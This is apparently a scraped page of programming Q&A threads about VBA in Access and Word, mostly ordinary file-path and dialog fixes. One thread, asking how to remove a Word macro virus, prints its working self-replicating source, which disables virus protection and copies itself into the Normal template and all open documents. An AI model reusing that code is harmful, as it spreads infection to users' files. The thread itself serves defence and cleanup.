mp3 file and Hyperlink.Follow in access 2007 - ms-access-2007

I run this code in a form.
The mp3 file is run but i see also informations from Microsoft Office. why?
Unable to open c:\User\USER\Desktop..... The hyperlink cannot be followed to the destination.
How can i remove these informations or warnings?
Thank you
Private Sub command2_Click()
Me.Text14 = DLookup("name", "Table1", "name LIKE '*" & Me.Text12 & "*'")
If Not IsNull(Me.Text14) Then
Set ctl = Me!Command2
With ctl
.HyperlinkAddress = "C:\Users\USER\Desktop\abandon2.wav"
.Hyperlink.Follow
End With
End If
End Sub

Related

VBA save as Filepath

I'm attempting to use this code found here:
https://answers.microsoft.com/en-us/msoffice/forum/all/can-i-save-as-multiple-documents-at-one-time/eae10efb-1984-4131-b072-a96d45020ba9
Sub SaveAllOpenDocsAsDocx()
For Each aDoc In Application.Documents
aDoc.SaveAs FileName:=aDoc.FullName & ".doc", FileFormat:=wdFormatDocument
aDoc.Close
Next aDoc
End Sub
I'd like to save any open word documents to a specific folder path, how would I go about changing
FileName:=aDoc.FullName
to a specific locations e.g. C:\Users\joe.blog\Desktop\Backup
Using FullName property includes the original path.
You need to pull out the Filename using the Name property and append that to your path
Something like this
Sub SaveAllOpenDocsAsDocx()
Const MY_LOCATION = "C:\Users\joe.blog\Desktop\Backup\"
Dim myFileLocation As String
For Each aDoc In Application.Documents
myFileLocation = MY_LOCATION & aDoc.Name & ".doc"
aDoc.SaveAs FileName:=myFileLocation, FileFormat:=wdFormatDocument
aDoc.Close
Next aDoc
End Sub

Insert an image file in a MAC Word Userform

I am not a programmer so not sure what to do here. I would like an option of adding an image file in a Microsoft Word document userform for MAC. I had used a code earlier which works perfectly in Windows but it doesnt work for MAC and gives a 5948 error. I had added a field for the image in the userform with a button to add the image and the final submit button. The add button should allow the user to insert any size image from the local folder.
The code I was using is given below:
Dim ImagePath As String
Private Sub CMDAddImage_Click()
Dim objFileDialog As Office.FileDialog
Set objFileDialog = Application.FileDialog(MsoFileDialogType.msoFileDialogFilePicker)
With objFileDialog
.AllowMultiSelect = False
.ButtonName = "File Picker"
.Title = "File Picker"
If (.Show > 0) Then
End If
If (.SelectedItems.Count > 0) Then
Call MsgBox(.SelectedItems(1))
ImagePath = .SelectedItems(1)
End If
End With
Image1.Picture = LoadPicture(ImagePath)
End Sub
And the code in submit button was:
Dim objWord
Dim objDoc
Dim objShapes
Dim objSelection
'Set objSelection = ActiveDocument.Sections
'objSelection.TypeText (vbCrLf & "One Picture will be inserted here....")
ActiveDocument.Bookmarks("Field04").Select
Set objShapes = ActiveDocument.InlineShapes
objShapes.AddPicture (ImagePath)
End
End Sub
Can someone please help me edit the code for mac. In mac it does not allow to add the file.
You should check out the suggestion made by #JohnKorchok in a comment to your previous question - insert an image Content Control in your document instead, and throw away the VBA.
But if you need to keep using VBA and a UserForm...
Application.FileDialog is not available on Mac.
Application.GetOpenFileName is not avaialble from Word (it's an Excel thing).
Application.Dialogs does not do the same thing as GetOpenFileName so the user experience will be rather different, but at its simplest, you can use it like this:
With Application.Dialogs(wdDialogFileOpen)
' .Display = -1 for "OK" ("Open" in this case)
' .Display = 0 for "Cancel"
' (THere are other possible return values
' but I do not think they are applicable here)
If .Display = -1 Then
ImagePath = .Name
End If
End With
or if you prefer, the lengthier
Dim dlg As Word.Dialog
Set dlg = Application.Dialogs(wdDialogFileOpen)
With dlg
If .Display = -1 Then
ImagePath = .Name
End If
End With
Set dlg = Nothing
However, this dilaog does not let you specify file types or any kind of filtering, a starting folder etc. Attempts to set Finder search criteria via something like
.Name = "(_kMDItemFileName = ""*.jpg"")"
.Update
before the .Display either can't work or need different syntax.
Further, the Apple dialog may start with its
own filtering set up so the user will have to click Options to enable All Files. You don't know what file type the user will choose so you will need to deal with that.
An alternative is to invoke Applescript. For this, it appears that you can still use the VBA MacScript command, which means that you can put all the script in your VBA file. If that does not work, then unfortunately you have to use AppleScriptTask which would require you to work some more on the Script and install the script in the correct folder on every Mac where you need this feature.
Here's the code I used - you would probably need to wrap everything up in another function call and use conditional compilation or other tests to call the correct routine depending on whether the code is running on Mac or Windows
Private Sub CMDAddImage_Click()
Dim s As String
Dim sFileName As String
On Error Resume Next
s = ""
' set this to some other location as appropriate
s = s & "set thePictureFoldersPath to (path to pictures folder)" & vbNewLine
s = s & "set applescript's text item delimiters to "",""" & vbNewLine
s = s & "set theFile to ¬" & vbNewLine
' add the image file types you want here
s = s & "(choose file of type {""png"",""jpg""} ¬" & vbNewLine
s = s & "with prompt ""Choose an image to insert."" ¬" & vbNewLine
s = s & "default location alias thePictureFoldersPath ¬" & vbNewLine
s = s & "multiple selections allowed false) as string" & vbNewLine
s = s & "set applescript's text item delimiters to """"" & vbNewLine
' choose file gives as an AFS path name (with colon delimiters)
' get one Word 2016/2019 will work with
s = s & "posix path of theFile"
sFileName = MacScript(s)
If sFileName <> "" Then
' Maybe do some more validation here
ImagePath = sFileName
Image1.Picture = LoadPicture(ImagePath)
End If
End Sub

Replace file path in VBA with user name

I have an Excel file with VBA written on it that draws information from a file on my computer. The Excel file is on a network folder and I would like for other users on the network to use it as well. However, I have hardcoded the file path on the VBA and, as such, whenever another user opens it, it looks for a file that is not available.
This is the path I would like to change:
C:\Users\User1\Documents\The Market in\DATA FOR REPORTS.xlsx
The only difference on the paths would be the user's name: User1, user2, etc.
How can I write the VBA code in order for it to replace the username in the file path with the Windows user name opening it?
I have tried to use wild card and also tried to use ENVIRON("username") but have not been successful.
The code I want to replace is what's below:
Private Sub Workbook_Open()
Application.Visible = False
WelcomeForm.Show
Workbooks.Open ("C:\Users\User1\Documents\The Market in\DATA FOR REPORTS.xlsx")
End Sub
This is what I did using ENVIRON:
Private Sub Workbook_Open()
Dim username As String
username = Environ("username")
Application.Visible = False
WelcomeForm.Show
Workbooks.Open ("C:\Users\&username&\Documents\The Market in\DATA FOR REPORTS.xlsx")
End Sub
Thank you very much
Try something like this:
Private Sub Workbook_Open()
Application.Visible = False
WelcomeForm.Show
Workbooks.Open ("C:\Users\" & Environ("UserName") & "\Documents\The Market in\DATA FOR REPORTS.xlsx")
End Sub
Environ("userprofile") will return the path & username.
On my PC it returns C:\Users\darren.bartrup-cook
Another way is:
CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
On my PC this returns C:\Users\darren.bartrup-cook\Documents
You could use it like this:
Private Sub Workbook_Open()
Dim wrkBK As Workbook
Dim DocFldr As String
DocFldr = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
Set wrkBK = Workbooks.Open(DocFldr & "\The Market in\DATA FOR REPORTS.xlsx")
MsgBox wrkBK.Name & " is open", vbOKOnly + vbInformation
End Sub

Word Macro virus

I'm trying to help a friend who has a word macro virus.
Almost everyone of his.doc files are infected, I'd like to delete the malicious macros without deleting the word files.
Since my friend never uses macros I can actually delete all macros on his system.
How would I go about automating this task?
One of the problems I'm facing is that I dont have permissions to delete the maliscious macros when opening the infected doc files here is the Macro virus's code :
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Save()
Document_Open
End Sub
This is on mac running 10.6.8 with word 2004
Thanks
Alex
The quickest way to do this is going to be using a more modern version of Word. I'd do the following. Either create a VM or take a snapshot of an existing VM that you can roll back to. Put all of the infected Word files into a directory, and then run this macro from a Word document:
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
Application.DisplayAlerts = wdAlertsNone
With New Scripting.FileSystemObject
Dim targets As New Collection
Dim current As File
For Each current In .GetFolder("C:\Test").Files
If .GetExtensionName(current.Path) = "doc" Then
targets.Add current
End If
Next
Dim infected As Variant
For Each infected In targets
Dim doc As Document
Set doc = Documents.Open(infected.Path)
doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
doc.Close wdDoNotSaveChanges
Next
End With
Application.DisplayAlerts = wdAlertsAll
End Sub
Collect all of the resulting .docx files and move them off the VM, then roll it back to your snapshot or delete it. If you need to maintain compatibility with Word 2004, you can do pretty much the same thing to convert them back to that file format - just adjust the file extensions and save as format.

Microsoft Access 2016 form doesn't display photo

I had an access form that displays photo of the users. When I click on the photo area, it also gives me to select the photo. Yesterday, I've upgraded my access from 2010 to 2016. I am using Microsoft Office 2016 plus. Now, the photos are not shown. It gives me to select the photos, but they're not displayed. The codes that I use is below.
Private Sub Photo_Click()
pl = PLFirst()
If IsNull(pl) Then
MsgBox "First select the person.", vbExclamation, "My sample project"
Exit Sub
End If
Set fd = Application.FileDialog(msoFileDialogFilePicker)
fd.InitialFileName = GetValue("ScanFolder") & ""
fd.Title = "Select Photo"
fd.Filters.Clear
fd.Filters.Add "JPG or JPEG Images", "*.jpg; *.jpeg"
fd.show
If fd.SelectedItems.Count > 0 Then
If PhotoAddress & "" = "" Then
PhotoAddress = GetValue("PhotoAddress")
End If
FileCopy fd.SelectedItems(1), PhotoAddress & "\" & PeopleList.Column(1) & ".jpg"
End If
Set fd = Nothing
UpdatePicture
End Sub
I don't know it's something about the codes or compatibility issue. Any help will be appreciated.
Look at this post:
Apparently Microsoft will fix the problem but as a workaround you can set the Current Database, Picture Property Storage Format to “Preserve source image format”.